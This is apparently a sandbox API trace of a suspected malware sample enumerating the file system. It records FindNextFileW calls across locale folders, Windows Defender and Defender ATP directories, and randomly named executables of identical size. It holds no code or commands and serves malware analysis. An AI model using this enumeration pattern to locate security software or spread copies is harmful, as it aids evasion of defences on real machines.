	[0166.117] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0166.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.120] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1
	[0166.366] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.366] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0166.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.370] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0166.383] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.383] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0166.386] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.386] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1
	[0166.389] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.389] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0166.392] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.392] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0166.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.394] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0166.397] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.397] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0166.399] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.399] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0166.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.402] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0166.516] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.516] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0166.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.684] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0166.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.687] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0166.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.690] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1
	[0166.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.693] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0166.696] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.696] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0166.699] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.699] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0166.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.702] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0166.702] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0166.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0166.702] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1
	[0166.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0166.704] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0
	[0166.704] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0166.704] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0166.704] FindNextFileW (in: hFindFile=0x4140318, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0
	[0166.704] FindClose (in: hFindFile=0x4140318 | out: hFindFile=0x4140318) returned 1
	[0166.704] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0166.705] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8accfe6f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x8accfe6f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0166.708] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.708] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a765f70, ftCreationTime.dwHighDateTime=0x1d58dde, ftLastAccessTime.dwLowDateTime=0x76891810, ftLastAccessTime.dwHighDateTime=0x1d5d5e9, ftLastWriteTime.dwLowDateTime=0x76891810, ftLastWriteTime.dwHighDateTime=0x1d5d5e9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="namespace-bankruptcy.exe", cAlternateFileName="NAMESP~1.EXE")) returned 1
	[0166.708] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0166.710] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6bd293f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6bd293f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0166.741] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.741] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0166.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.742] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1
	[0166.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0166.742] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde0ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0166.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.745] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1
	[0166.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0166.745] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d50060, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d50060, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0167.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0167.151] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94b149d0, ftCreationTime.dwHighDateTime=0x1d5bdd8, ftLastAccessTime.dwLowDateTime=0xbe249d50, ftLastAccessTime.dwHighDateTime=0x1d568a9, ftLastWriteTime.dwLowDateTime=0xbe249d50, ftLastWriteTime.dwHighDateTime=0x1d568a9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1
	[0167.152] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0167.152] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0167.234] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.234] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0167.234] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.234] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0167.236] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.236] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0167.237] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.237] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0167.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0167.238] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0167.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
